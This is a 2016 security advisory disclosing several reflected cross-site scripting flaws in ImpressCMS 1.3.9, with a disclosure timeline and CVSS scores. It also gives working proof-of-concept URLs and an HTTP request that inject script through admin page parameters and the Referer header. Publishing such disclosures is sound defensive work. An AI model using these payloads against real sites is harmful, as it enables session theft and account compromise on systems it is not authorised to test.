Advisory number: MR-16-01

Security Research Advisory

Multiple Cross-Site Scripting (XSS) Vulnerabilities

ImpressCMS

Mattia Reggiani - info@mattiareggiani.com

7-17-2016

Table of Contents

1 Summary

ImpressCMS is an open source content management system for building and maintaining dynamic web sites. In 2009, ImpressCMS placed first as the Most Promising Open Source CMS in the Packt Publishing awards.

ImpressCMS is prone to multiple reflected cross-site scripting (XSS) vulnerabilities, which could be used by malicious users to inject arbitrary JavaScript code in victim's browser.

For testing the ImpressCMS web application, I used the last release available at the time of writing: **1.3.9**, which was released at Mar 03, 2014.

Tests were conducted on an Ubuntu Server 14.04 using the web server Apache 2.2.31.

1.1 Disclosure timeline

Details	Date
Discovery	20/03/16
Vendor disclosure	27/03/16
Vendor acknowledgment	28/03/16
Patch release	15/07/16
Public disclosure	19/07/16

2 Vulnerabilities detail

2.1 Multiple Cross Site Scripting (XSS) – System module

CVSS v3.0 Base	MEDIUM (5.7)
Vector String	CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:L

2.1.1 Description

Multiple reflected XSS vulnerabilities have been found in System module. This can lead to arbitrary execution of code client-side (eg. Javascript).

The following list provides some Proof of Concept (PoC) which could be used to exploit the vulnerabilities:

XSS PoC 1:

```
http://[HOST]/impresscms/modules/system/admin/images/browser.php?target=content_tarea%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&type=iman
```

XSS PoC 2:

```
http://[HOST]/impresscms/modules/system/admin/images/browser.php?target=content_tarea&type=iman%22%3E%3Cscript%3Ealert%281%29%3C/script%3E
```

XSS PoC 3:

```
http://[HOST]/impresscms/modules/system/admin/images/browser.php?op=listimg&imgcat_id=1&target=content_tarea%22%3E%3Cscript%3Ealert%281%29%3C/script%3E%22&type=iman
```

XSS PoC 4:

```
http://[HOST]/impresscms/modules/system/admin/images/browser.php?op=listimg&imgcat_id=1&target=content_tarea&type=iman%22%3E%3Cscript%3Ealert%282%29%3C/script%3E%22
```

XSS PoC 5:

```
http://[HOST]/impresscms/modules/system/admin/images/browser.php?op=list&target=content_tarea%22%3E%3Cscript%3Ealert%283%29%3C/script%3E%22&type=iman
```

XSS PoC 6:

```
http://[HOST]/impresscms/modules/system/admin/images/browser.php?op=list&target=content_tarea&type=iman%22%3E%3Cscript%3Ealert%281%29%3C/script%3E%22
```

2.2 Cross Site Scripting (XSS) – System module (Referer)

CVSS v3.0 Base	MEDIUM **(5.3)**
Vector String	**CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:L/A:L**

2.2.1 Description

A reflected XSS vulnerability has been found in HTTP Referer header. This can lead to arbitrary execution of code client-side (eg. Javascript).

The following Proof of Concept (PoC) could be used to exploit the vulnerability:

XSS PoC:

HTTP Request

```
GET /impresscms/modules/system/admin.php?fct=blocksadmin&op=clone&bid=1
HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20100101
Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: '><script>alert(1)</script>
Cookie: ICMSSESSION=5b7f9mj4reag45tj4g6ej7uga0
Connection: close
```

HTTP Response

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
...
<input type='hidden' name='icms_page_before_form'
id='icms_page_before_form' value=''><script>alert(1)</script>' />
...
```

2.3 Cross Site Scripting (XSS) – Libraries parameter

CVSS v3.0 Base	MEDIUM (5.7)
Vector String	CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:L

2.3.1 Description

A reflected XSS vulnerability has been found in banner module. This can lead to arbitrary execution of code client-side (eg. Javascript).

The following Proof of Concept (PoC) could be used to exploit the vulnerabilities:

XSS PoC:

```
http://[HOST]/impresscms/libraries/image-editor/image-
edit.php?image_id=1&uniq=%22%20onmouseover=%22alert%281%29%22%3E
```

2.4 Cross Site Scripting (XSS) – Profile module

CVSS v3.0 Base	MEDIUM (5.7)
Vector String	CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:L

2.4.1 Description

A reflected XSS vulnerability has been found in banner module. This can lead to arbitrary execution of code client-side (eg. Javascript).

The following Proof of Concept (PoC) could be used to exploit the vulnerabilities:

XSS PoC:

```
http://[HOST]/impresscms/modules/profile/admin/field.php?%22%3E%3Cscript%3E
alert%281%29%3C/script%3E%22
```

2.5 Cross Site Scripting (XSS) – Content module

CVSS v3.0 Base	MEDIUM (**5.7**)
Vector String	**CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:L**

2.5.1 Description

A reflected XSS vulnerability has been found in banner module. This can lead to arbitrary execution of code client-side (eg. Javascript).

The following Proof of Concept (PoC) could be used to exploit the vulnerabilities:

XSS PoC:

```
http://[HOST]/impresscms/modules/content/admin/content.php?%22%3E%3Cscript%
3Ealert%281%29%3C/script%3E%22
```